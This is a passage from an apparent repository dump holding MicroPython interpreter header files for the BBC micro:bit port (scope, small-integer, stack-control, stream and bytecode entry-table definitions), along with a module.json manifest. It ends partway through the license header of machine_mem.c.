MP_BINARY_OP_INPLACE_SUBTRACT,\n\n    MP_BINARY_OP_INPLACE_MULTIPLY,\n    MP_BINARY_OP_INPLACE_FLOOR_DIVIDE,\n    MP_BINARY_OP_INPLACE_TRUE_DIVIDE,\n    MP_BINARY_OP_INPLACE_MODULO,\n    MP_BINARY_OP_INPLACE_POWER,\n\n    // these should return a bool\n    MP_BINARY_OP_LESS,\n    MP_BINARY_OP_MORE,\n    MP_BINARY_OP_EQUAL,\n    MP_BINARY_OP_LESS_EQUAL,\n    MP_BINARY_OP_MORE_EQUAL,\n\n    MP_BINARY_OP_NOT_EQUAL,\n    MP_BINARY_OP_IN,\n    MP_BINARY_OP_IS,\n    MP_BINARY_OP_EXCEPTION_MATCH,\n    // these are not supported by the runtime and must be synthesised by the emitter\n    MP_BINARY_OP_NOT_IN,\n    MP_BINARY_OP_IS_NOT,\n} mp_binary_op_t;\n\ntypedef enum {\n    MP_F_CONVERT_OBJ_TO_NATIVE = 0,\n    MP_F_CONVERT_NATIVE_TO_OBJ,\n    MP_F_LOAD_NAME,\n    MP_F_LOAD_GLOBAL,\n    MP_F_LOAD_BUILD_CLASS,\n    MP_F_LOAD_ATTR,\n    MP_F_LOAD_METHOD,\n    MP_F_LOAD_SUPER_METHOD,\n    MP_F_STORE_NAME,\n    MP_F_STORE_GLOBAL,\n    MP_F_STORE_ATTR,\n    MP_F_OBJ_SUBSCR,\n    MP_F_OBJ_IS_TRUE,\n    MP_F_UNARY_OP,\n    MP_F_BINARY_OP,\n    MP_F_BUILD_TUPLE,\n    MP_F_BUILD_LIST,\n    MP_F_LIST_APPEND,\n    MP_F_BUILD_MAP,\n    MP_F_STORE_MAP,\n#if MICROPY_PY_BUILTINS_SET\n    MP_F_BUILD_SET,\n    MP_F_STORE_SET,\n#endif\n    MP_F_MAKE_FUNCTION_FROM_RAW_CODE,\n    MP_F_NATIVE_CALL_FUNCTION_N_KW,\n    MP_F_CALL_METHOD_N_KW,\n    MP_F_CALL_METHOD_N_KW_VAR,\n    MP_F_NATIVE_GETITER,\n    MP_F_NATIVE_ITERNEXT,\n    MP_F_NLR_PUSH,\n    MP_F_NLR_POP,\n    MP_F_NATIVE_RAISE,\n    MP_F_IMPORT_NAME,\n    MP_F_IMPORT_FROM,\n    MP_F_IMPORT_ALL,\n#if MICROPY_PY_BUILTINS_SLICE\n    MP_F_NEW_SLICE,\n#endif\n    MP_F_UNPACK_SEQUENCE,\n    MP_F_UNPACK_EX,\n    MP_F_DELETE_NAME,\n    MP_F_DELETE_GLOBAL,\n    MP_F_NEW_CELL,\n    MP_F_MAKE_CLOSURE_FROM_RAW_CODE,\n    MP_F_SETUP_CODE_STATE,\n    MP_F_NUMBER_OF,\n} mp_fun_kind_t;\n\nextern void *const mp_fun_table[MP_F_NUMBER_OF];\n\n#endif // MICROPY_INCLUDED_PY_RUNTIME0_H\n"
  },
  {
    "path": "micropython/inc/py/scope.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_SCOPE_H\n#define MICROPY_INCLUDED_PY_SCOPE_H\n\n#include \"py/parse.h\"\n#include \"py/emitglue.h\"\n\nenum {\n    ID_INFO_KIND_GLOBAL_IMPLICIT,\n    ID_INFO_KIND_GLOBAL_EXPLICIT,\n    ID_INFO_KIND_LOCAL, // in a function f, written and only referenced by f\n    ID_INFO_KIND_CELL,  // in a function f, read/written by children of f\n    ID_INFO_KIND_FREE,  // in a function f, belongs to the parent of f\n};\n\nenum {\n    ID_FLAG_IS_PARAM = 0x01,\n    ID_FLAG_IS_STAR_PARAM = 0x02,\n    ID_FLAG_IS_DBL_STAR_PARAM = 0x04,\n};\n\ntypedef struct _id_info_t {\n    uint8_t kind;\n    uint8_t flags;\n    // when it's an ID_INFO_KIND_LOCAL this is the unique number of the local\n    // whet it's an ID_INFO_KIND_CELL/FREE this is the unique number of the closed over variable\n    uint16_t local_num;\n    qstr qst;\n} id_info_t;\n\n#define SCOPE_IS_FUNC_LIKE(s) ((s) >= SCOPE_LAMBDA)\n\n// scope is a \"block\" in Python parlance\ntypedef enum {\n    SCOPE_MODULE,\n    SCOPE_CLASS,\n    SCOPE_LAMBDA,\n    SCOPE_LIST_COMP,\n    SCOPE_DICT_COMP,\n    SCOPE_SET_COMP,\n    SCOPE_GEN_EXPR,\n    SCOPE_FUNCTION,\n} scope_kind_t;\n\ntypedef struct _scope_t {\n    scope_kind_t kind;\n    struct _scope_t *parent;\n    #if !MICROPY_USE_SMALL_HEAP_COMPILER\n    struct _scope_t *next;\n    #endif\n    mp_parse_node_t pn; // for small-heap compiler, points to the node after the scope index node\n    uint16_t source_file; // a qstr\n    uint16_t simple_name; // a qstr\n    mp_raw_code_t *raw_code;\n    uint8_t scope_flags;  // see runtime0.h\n    uint8_t emit_options; // see compile.h\n    uint16_t num_pos_args;\n    uint16_t num_kwonly_args;\n    uint16_t num_def_pos_args;\n    uint16_t num_locals;\n    uint16_t stack_size;     // maximum size of the locals stack\n    uint16_t exc_stack_size; // maximum size of the exception stack\n    uint16_t id_info_alloc;\n    uint16_t id_info_len;\n    id_info_t *id_info;\n} scope_t;\n\nscope_t *scope_new(scope_kind_t kind, mp_parse_node_t pn, qstr source_file, mp_uint_t emit_options);\nvoid scope_free(scope_t *scope);\nid_info_t *scope_find_or_add_id(scope_t *scope, qstr qstr, bool *added);\nid_info_t *scope_find(scope_t *scope, qstr qstr);\nid_info_t *scope_find_global(scope_t *scope, qstr qstr);\nvoid scope_find_local_and_close_over(scope_t *scope, id_info_t *id, qstr qst);\n\n#endif // MICROPY_INCLUDED_PY_SCOPE_H\n"
  },
  {
    "path": "micropython/inc/py/smallint.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_SMALLINT_H\n#define MICROPY_INCLUDED_PY_SMALLINT_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n\n// Functions for small integer arithmetic\n\n#ifndef MP_SMALL_INT_MIN\n\n// In SMALL_INT, next-to-highest bits is used as sign, so both must match for value in range\n#if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_A || MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\n\n#define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)WORD_MSBIT_HIGH) >> 1))\n#define MP_SMALL_INT_FITS(n) ((((n) ^ ((n) << 1)) & WORD_MSBIT_HIGH) == 0)\n// Mask to truncate mp_int_t to positive value\n#define MP_SMALL_INT_POSITIVE_MASK ~(WORD_MSBIT_HIGH | (WORD_MSBIT_HIGH >> 1))\n\n#elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_B\n\n#define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)WORD_MSBIT_HIGH) >> 2))\n#define MP_SMALL_INT_FITS(n) ((((n) & MP_SMALL_INT_MIN) == 0) || (((n) & MP_SMALL_INT_MIN) == MP_SMALL_INT_MIN))\n// Mask to truncate mp_int_t to positive value\n#define MP_SMALL_INT_POSITIVE_MASK ~(WORD_MSBIT_HIGH | (WORD_MSBIT_HIGH >> 1) | (WORD_MSBIT_HIGH >> 2))\n\n#elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n\n#define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)0xffffffff80000000) >> 1))\n#define MP_SMALL_INT_FITS(n) ((((n) ^ ((n) << 1)) & 0xffffffff80000000) == 0)\n// Mask to truncate mp_int_t to positive value\n#define MP_SMALL_INT_POSITIVE_MASK ~(0xffffffff80000000 | (0xffffffff80000000 >> 1))\n\n#endif\n\n#endif\n\n#define MP_SMALL_INT_MAX ((mp_int_t)(~(MP_SMALL_INT_MIN)))\n\nbool mp_small_int_mul_overflow(mp_int_t x, mp_int_t y);\nmp_int_t mp_small_int_modulo(mp_int_t dividend, mp_int_t divisor);\nmp_int_t mp_small_int_floor_divide(mp_int_t num, mp_int_t denom);\n\n#endif // MICROPY_INCLUDED_PY_SMALLINT_H\n"
  },
  {
    "path": "micropython/inc/py/stackctrl.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_STACKCTRL_H\n#define MICROPY_INCLUDED_PY_STACKCTRL_H\n\n#include \"py/mpconfig.h\"\n\nvoid mp_stack_ctrl_init(void);\nvoid mp_stack_set_top(void *top);\nmp_uint_t mp_stack_usage(void);\n\n#if MICROPY_STACK_CHECK\n\nvoid mp_stack_set_limit(mp_uint_t limit);\nvoid mp_stack_check(void);\n#define MP_STACK_CHECK() mp_stack_check()\n\n#else\n\n#define mp_stack_set_limit(limit)\n#define MP_STACK_CHECK()\n\n#endif\n\n#endif // MICROPY_INCLUDED_PY_STACKCTRL_H\n"
  },
  {
    "path": "micropython/inc/py/stream.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_STREAM_H\n#define MICROPY_INCLUDED_PY_STREAM_H\n\n#include \"py/obj.h\"\n#include \"py/mperrno.h\"\n\n#define MP_STREAM_ERROR ((mp_uint_t)-1)\n\n// Stream ioctl request codes\n#define MP_STREAM_FLUSH (1)\n#define MP_STREAM_SEEK  (2)\n#define MP_STREAM_POLL  (3)\n//#define MP_STREAM_CLOSE       (4)  // Not yet implemented\n#define MP_STREAM_TIMEOUT       (5)  // Get/set timeout (single op)\n#define MP_STREAM_GET_OPTS      (6)  // Get stream options\n#define MP_STREAM_SET_OPTS      (7)  // Set stream options\n#define MP_STREAM_GET_DATA_OPTS (8)  // Get data/message options\n#define MP_STREAM_SET_DATA_OPTS (9)  // Set data/message options\n\n// These poll ioctl values are compatible with Linux\n#define MP_STREAM_POLL_RD  (0x0001)\n#define MP_STREAM_POLL_WR  (0x0004)\n#define MP_STREAM_POLL_ERR (0x0008)\n#define MP_STREAM_POLL_HUP (0x0010)\n\n// Argument structure for MP_STREAM_SEEK\nstruct mp_stream_seek_t {\n    // If whence == MP_SEEK_SET, offset should be treated as unsigned.\n    // This allows dealing with full-width stream sizes (16, 32, 64,\n    // etc. bits). For other seek types, should be treated as signed.\n    mp_off_t offset;\n    int whence;\n};\n\n// seek ioctl \"whence\" values\n#define MP_SEEK_SET (0)\n#define MP_SEEK_CUR (1)\n#define MP_SEEK_END (2)\n\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_read1_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_readinto_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_unbuffered_readline_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_stream_unbuffered_readlines_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_write_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(mp_stream_write1_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_seek_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_stream_tell_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(mp_stream_flush_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(mp_stream_ioctl_obj);\n\n// these are for mp_get_stream_raise and can be or'd together\n#define MP_STREAM_OP_READ (1)\n#define MP_STREAM_OP_WRITE (2)\n#define MP_STREAM_OP_IOCTL (4)\n\nconst mp_stream_p_t *mp_get_stream_raise(mp_obj_t self_in, int flags);\nmp_obj_t mp_stream_close(mp_obj_t stream);\n\n// Iterator which uses mp_stream_unbuffered_readline_obj\nmp_obj_t mp_stream_unbuffered_iter(mp_obj_t self);\n\nmp_obj_t mp_stream_write(mp_obj_t self_in, const void *buf, size_t len, byte flags);\n\n// C-level helper functions\n#define MP_STREAM_RW_READ  0\n#define MP_STREAM_RW_WRITE 2\n#define MP_STREAM_RW_ONCE  1\nmp_uint_t mp_stream_rw(mp_obj_t stream, void *buf, mp_uint_t size, int *errcode, byte flags);\n#define mp_stream_write_exactly(stream, buf, size, err) mp_stream_rw(stream, (byte*)buf, size, err, MP_STREAM_RW_WRITE)\n#define mp_stream_read_exactly(stream, buf, size, err) mp_stream_rw(stream, buf, size, err, MP_STREAM_RW_READ)\n\nvoid mp_stream_write_adaptor(void *self, const char *buf, size_t len);\n\n#if MICROPY_STREAMS_POSIX_API\n// Functions with POSIX-compatible signatures\nssize_t mp_stream_posix_write(mp_obj_t stream, const void *buf, size_t len);\nssize_t mp_stream_posix_read(mp_obj_t stream, void *buf, size_t len);\noff_t mp_stream_posix_lseek(mp_obj_t stream, off_t offset, int whence);\nint mp_stream_posix_fsync(mp_obj_t stream);\n#endif\n\n#if MICROPY_STREAMS_NON_BLOCK\n#define mp_is_nonblocking_error(errno) ((errno) == EAGAIN || (errno) == EWOULDBLOCK)\n#else\n#define mp_is_nonblocking_error(errno) (0)\n#endif\n\n#endif // MICROPY_INCLUDED_PY_STREAM_H\n"
  },
  {
    "path": "micropython/inc/py/unicode.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_UNICODE_H\n#define MICROPY_INCLUDED_PY_UNICODE_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n\nmp_uint_t utf8_ptr_to_index(const byte *s, const byte *ptr);\n\n#endif // MICROPY_INCLUDED_PY_UNICODE_H\n"
  },
  {
    "path": "micropython/inc/py/vmentrytable.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#if __clang__\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Winitializer-overrides\"\n#endif // __clang__\n\nstatic const void *const entry_table[256] = {\n    [0 ... 255] = &&entry_default,\n    [MP_BC_LOAD_CONST_FALSE] = &&entry_MP_BC_LOAD_CONST_FALSE,\n    [MP_BC_LOAD_CONST_NONE] = &&entry_MP_BC_LOAD_CONST_NONE,\n    [MP_BC_LOAD_CONST_TRUE] = &&entry_MP_BC_LOAD_CONST_TRUE,\n    [MP_BC_LOAD_CONST_SMALL_INT] = &&entry_MP_BC_LOAD_CONST_SMALL_INT,\n    [MP_BC_LOAD_CONST_STRING] = &&entry_MP_BC_LOAD_CONST_STRING,\n    [MP_BC_LOAD_CONST_OBJ] = &&entry_MP_BC_LOAD_CONST_OBJ,\n    [MP_BC_LOAD_NULL] = &&entry_MP_BC_LOAD_NULL,\n    [MP_BC_LOAD_FAST_N] = &&entry_MP_BC_LOAD_FAST_N,\n    [MP_BC_LOAD_DEREF] = &&entry_MP_BC_LOAD_DEREF,\n    [MP_BC_LOAD_NAME] = &&entry_MP_BC_LOAD_NAME,\n    [MP_BC_LOAD_GLOBAL] = &&entry_MP_BC_LOAD_GLOBAL,\n    [MP_BC_LOAD_ATTR] = &&entry_MP_BC_LOAD_ATTR,\n    [MP_BC_LOAD_METHOD] = &&entry_MP_BC_LOAD_METHOD,\n    [MP_BC_LOAD_SUPER_METHOD] = &&entry_MP_BC_LOAD_SUPER_METHOD,\n    [MP_BC_LOAD_BUILD_CLASS] = &&entry_MP_BC_LOAD_BUILD_CLASS,\n    [MP_BC_LOAD_SUBSCR] = &&entry_MP_BC_LOAD_SUBSCR,\n    [MP_BC_STORE_FAST_N] = &&entry_MP_BC_STORE_FAST_N,\n    [MP_BC_STORE_DEREF] = &&entry_MP_BC_STORE_DEREF,\n    [MP_BC_STORE_NAME] = &&entry_MP_BC_STORE_NAME,\n    [MP_BC_STORE_GLOBAL] = &&entry_MP_BC_STORE_GLOBAL,\n    [MP_BC_STORE_ATTR] = &&entry_MP_BC_STORE_ATTR,\n    [MP_BC_STORE_SUBSCR] = &&entry_MP_BC_STORE_SUBSCR,\n    [MP_BC_DELETE_FAST] = &&entry_MP_BC_DELETE_FAST,\n    [MP_BC_DELETE_DEREF] = &&entry_MP_BC_DELETE_DEREF,\n    [MP_BC_DELETE_NAME] = &&entry_MP_BC_DELETE_NAME,\n    [MP_BC_DELETE_GLOBAL] = &&entry_MP_BC_DELETE_GLOBAL,\n    [MP_BC_DUP_TOP] = &&entry_MP_BC_DUP_TOP,\n    [MP_BC_DUP_TOP_TWO] = &&entry_MP_BC_DUP_TOP_TWO,\n    [MP_BC_POP_TOP] = &&entry_MP_BC_POP_TOP,\n    [MP_BC_ROT_TWO] = &&entry_MP_BC_ROT_TWO,\n    [MP_BC_ROT_THREE] = &&entry_MP_BC_ROT_THREE,\n    [MP_BC_JUMP] = &&entry_MP_BC_JUMP,\n    [MP_BC_POP_JUMP_IF_TRUE] = &&entry_MP_BC_POP_JUMP_IF_TRUE,\n    [MP_BC_POP_JUMP_IF_FALSE] = &&entry_MP_BC_POP_JUMP_IF_FALSE,\n    [MP_BC_JUMP_IF_TRUE_OR_POP] = &&entry_MP_BC_JUMP_IF_TRUE_OR_POP,\n    [MP_BC_JUMP_IF_FALSE_OR_POP] = &&entry_MP_BC_JUMP_IF_FALSE_OR_POP,\n    [MP_BC_SETUP_WITH] = &&entry_MP_BC_SETUP_WITH,\n    [MP_BC_WITH_CLEANUP] = &&entry_MP_BC_WITH_CLEANUP,\n    [MP_BC_UNWIND_JUMP] = &&entry_MP_BC_UNWIND_JUMP,\n    [MP_BC_SETUP_EXCEPT] = &&entry_MP_BC_SETUP_EXCEPT,\n    [MP_BC_SETUP_FINALLY] = &&entry_MP_BC_SETUP_FINALLY,\n    [MP_BC_END_FINALLY] = &&entry_MP_BC_END_FINALLY,\n    [MP_BC_GET_ITER] = &&entry_MP_BC_GET_ITER,\n    [MP_BC_GET_ITER_STACK] = &&entry_MP_BC_GET_ITER_STACK,\n    [MP_BC_FOR_ITER] = &&entry_MP_BC_FOR_ITER,\n    [MP_BC_POP_BLOCK] = &&entry_MP_BC_POP_BLOCK,\n    [MP_BC_POP_EXCEPT] = &&entry_MP_BC_POP_EXCEPT,\n    [MP_BC_BUILD_TUPLE] = &&entry_MP_BC_BUILD_TUPLE,\n    [MP_BC_BUILD_LIST] = &&entry_MP_BC_BUILD_LIST,\n    [MP_BC_BUILD_MAP] = &&entry_MP_BC_BUILD_MAP,\n    [MP_BC_STORE_MAP] = &&entry_MP_BC_STORE_MAP,\n    #if MICROPY_PY_BUILTINS_SET\n    [MP_BC_BUILD_SET] = &&entry_MP_BC_BUILD_SET,\n    #endif\n    #if MICROPY_PY_BUILTINS_SLICE\n    [MP_BC_BUILD_SLICE] = &&entry_MP_BC_BUILD_SLICE,\n    #endif\n    [MP_BC_STORE_COMP] = &&entry_MP_BC_STORE_COMP,\n    [MP_BC_UNPACK_SEQUENCE] = &&entry_MP_BC_UNPACK_SEQUENCE,\n    [MP_BC_UNPACK_EX] = &&entry_MP_BC_UNPACK_EX,\n    [MP_BC_MAKE_FUNCTION] = &&entry_MP_BC_MAKE_FUNCTION,\n    [MP_BC_MAKE_FUNCTION_DEFARGS] = &&entry_MP_BC_MAKE_FUNCTION_DEFARGS,\n    [MP_BC_MAKE_CLOSURE] = &&entry_MP_BC_MAKE_CLOSURE,\n    [MP_BC_MAKE_CLOSURE_DEFARGS] = &&entry_MP_BC_MAKE_CLOSURE_DEFARGS,\n    [MP_BC_CALL_FUNCTION] = &&entry_MP_BC_CALL_FUNCTION,\n    [MP_BC_CALL_FUNCTION_VAR_KW] = &&entry_MP_BC_CALL_FUNCTION_VAR_KW,\n    [MP_BC_CALL_METHOD] = &&entry_MP_BC_CALL_METHOD,\n    [MP_BC_CALL_METHOD_VAR_KW] = &&entry_MP_BC_CALL_METHOD_VAR_KW,\n    [MP_BC_RETURN_VALUE] = &&entry_MP_BC_RETURN_VALUE,\n    [MP_BC_RAISE_VARARGS] = &&entry_MP_BC_RAISE_VARARGS,\n    [MP_BC_YIELD_VALUE] = &&entry_MP_BC_YIELD_VALUE,\n    [MP_BC_YIELD_FROM] = &&entry_MP_BC_YIELD_FROM,\n    [MP_BC_IMPORT_NAME] = &&entry_MP_BC_IMPORT_NAME,\n    [MP_BC_IMPORT_FROM] = &&entry_MP_BC_IMPORT_FROM,\n    [MP_BC_IMPORT_STAR] = &&entry_MP_BC_IMPORT_STAR,\n    [MP_BC_LOAD_CONST_SMALL_INT_MULTI ... MP_BC_LOAD_CONST_SMALL_INT_MULTI + 63] = &&entry_MP_BC_LOAD_CONST_SMALL_INT_MULTI,\n    [MP_BC_LOAD_FAST_MULTI ... MP_BC_LOAD_FAST_MULTI + 15] = &&entry_MP_BC_LOAD_FAST_MULTI,\n    [MP_BC_STORE_FAST_MULTI ... MP_BC_STORE_FAST_MULTI + 15] = &&entry_MP_BC_STORE_FAST_MULTI,\n    [MP_BC_UNARY_OP_MULTI ... MP_BC_UNARY_OP_MULTI + 6] = &&entry_MP_BC_UNARY_OP_MULTI,\n    [MP_BC_BINARY_OP_MULTI ... MP_BC_BINARY_OP_MULTI + 35] = &&entry_MP_BC_BINARY_OP_MULTI,\n};\n\n#if __clang__\n#pragma clang diagnostic pop\n#endif // __clang__\n"
  },
  {
    "path": "micropython/module.json",
    "content": "{\n  \"name\": \"microbit-micropython\",\n  \"version\": \"1.0.1\",\n  \"license\": \"MIT\",\n  \"description\": \"MicroPython port to the BBC micro:bit\",\n  \"keywords\": [\"mbed-classic\", \"microbit\", \"runtime\", \"library\", \"micropython\"],\n  \"author\": \"Damien P George <damien.p.george@gmail.com>\",\n  \"homepage\": \"http://micropython.org\",\n  \"dependencies\":{\n    \"microbit-dal\":\"lancaster-university/microbit-dal#v2.1.1\"\n  },\n  \"extraIncludes\":[\n    \"inc\",\n    \"inc/microbit\"\n  ],\n  \"bin\": \"./source\"\n}\n"
  },
  {
    "path": "micropython/source/extmod/machine_mem.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n 